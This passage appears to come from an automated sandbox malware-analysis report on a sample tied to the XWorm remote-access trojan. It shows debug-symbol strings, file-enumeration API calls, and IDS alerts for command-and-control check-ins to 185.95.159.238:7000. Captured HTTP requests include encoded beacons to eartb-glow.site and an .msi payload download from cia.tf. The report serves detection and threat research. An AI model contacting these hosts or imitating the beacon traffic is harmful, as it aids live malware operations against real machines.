00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, To
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: zC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbA source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030810151.0000000002E37000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: Toolpatch_dbg.exe, 00000009.00000002.2308110426.0000000004409000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307630948.0000000004001000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307140445.0000000003C0C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305242268.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307390113.0000000003E07000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304561142.000000000226A000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307863161.0000000004205000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2308360708.0000000004600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\tmp\author\3rdParty\loudmouth-1.3\loudmouth\Release\loudmouth.pdbl7 source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: kC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\tsz1 source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\MindClient\Bin\MindClient.pdbT source: TiVoServer.exe, 00000003.00000002.1371181532.0000000000B28000.00000002.00000001.01000000.0000000F.sdmp, TiVoServer.exe, 00000004.00000002.1433430914.0000000000B53000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: cshpingntkrnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002E92000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:
Source: C:\Windows\System32\msiexec.exe	File opened: x:
Source: C:\Windows\System32\msiexec.exe	File opened: v:
Source: C:\Windows\System32\msiexec.exe	File opened: t:
Source: C:\Windows\System32\msiexec.exe	File opened: r:
Source: C:\Windows\System32\msiexec.exe	File opened: p:
Source: C:\Windows\System32\msiexec.exe	File opened: n:
Source: C:\Windows\System32\msiexec.exe	File opened: l:
Source: C:\Windows\System32\msiexec.exe	File opened: j:
Source: C:\Windows\System32\msiexec.exe	File opened: h:
Source: C:\Windows\System32\msiexec.exe	File opened: f:
Source: C:\Windows\System32\msiexec.exe	File opened: b:
Source: C:\Windows\System32\msiexec.exe	File opened: y:
Source: C:\Windows\System32\msiexec.exe	File opened: w:
Source: C:\Windows\System32\msiexec.exe	File opened: u:
Source: C:\Windows\System32\msiexec.exe	File opened: s:
Source: C:\Windows\System32\msiexec.exe	File opened: q:
Source: C:\Windows\System32\msiexec.exe	File opened: o:
Source: C:\Windows\System32\msiexec.exe	File opened: m:
Source: C:\Windows\System32\msiexec.exe	File opened: k:
Source: C:\Windows\System32\msiexec.exe	File opened: i:
Source: C:\Windows\System32\msiexec.exe	File opened: g:
Source: C:\Windows\System32\msiexec.exe	File opened: e:
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D23CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	0_2_00D23CC4
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D64440 FindFirstFileW,FindClose,	0_2_00D64440
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D57B87 FindFirstFileExW,	0_2_00D57B87
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D39B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	0_2_00D39B43
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D84440 FindFirstFileW,FindClose,	2_2_00D84440
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D77B87 FindFirstFileExW,	2_2_00D77B87
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D59B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	2_2_00D59B43
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D43CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	2_2_00D43CC4
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFAB760 FindFirstFileW,FindClose,	2_2_6CFAB760

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 185.95.159.238:7000 -> 192.168.2.7:50093
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 185.95.159.238:7000 -> 192.168.2.7:50093
Source: Network traffic	Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.7:50093 -> 185.95.159.238:7000
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.7:50093 -> 185.95.159.238:7000

Source: global traffic

TCP traffic: 192.168.2.7:50093 -> 185.95.159.238:7000

Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 18.244.18.27 18.244.18.27

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49962 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49976 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49977 -> 104.21.1.182:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49969 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50083 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50081 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50084 -> 104.21.1.182:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50094 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50100 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50098 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50096 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50101 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50102 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50107 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50105 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50108 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50099 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50103 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50095 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50097 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50104 -> 104.21.64.1:443

Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0Content-Length: 147Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 53Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: POST /1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%2BqwNj5mhuP8%2BNcbBOB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0player: JBdqO///GzUuAw/nARY4vnsgqg5vMfXa06Oaf7awhdtYAFNIyRunOrdqXff8ir6v9msOOHAtUkr9YOydoOhjuA/TTayC8tcVv7S3JQContent-Length: 208Host: eartb-glow.site
Source: global traffic	HTTP traffic detected: GET /521d636a01093f9235cfbf0b2bfd5f69.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: cia.tf
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.33af08fdb9e988f1db9e.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=47797BF901154D81AC64DCDA0B6989C9.RefC=2025-02-15T16:39:27Z; USRLOC=; MUID=348D4CA072696452184B5934737065A6; MUIDB=348D4CA072696452184B5934737065A6; _EDGE_S=F=1&SID=1A9B376FA9EA6126128422FBA87960FC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveOrigin: https://business.bing.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.f30eb488fb3069c7561f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.5da1d823f3d7131a6bff.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.a4f044fd68445545fb52.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.a72730bb2b7a5325927d.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
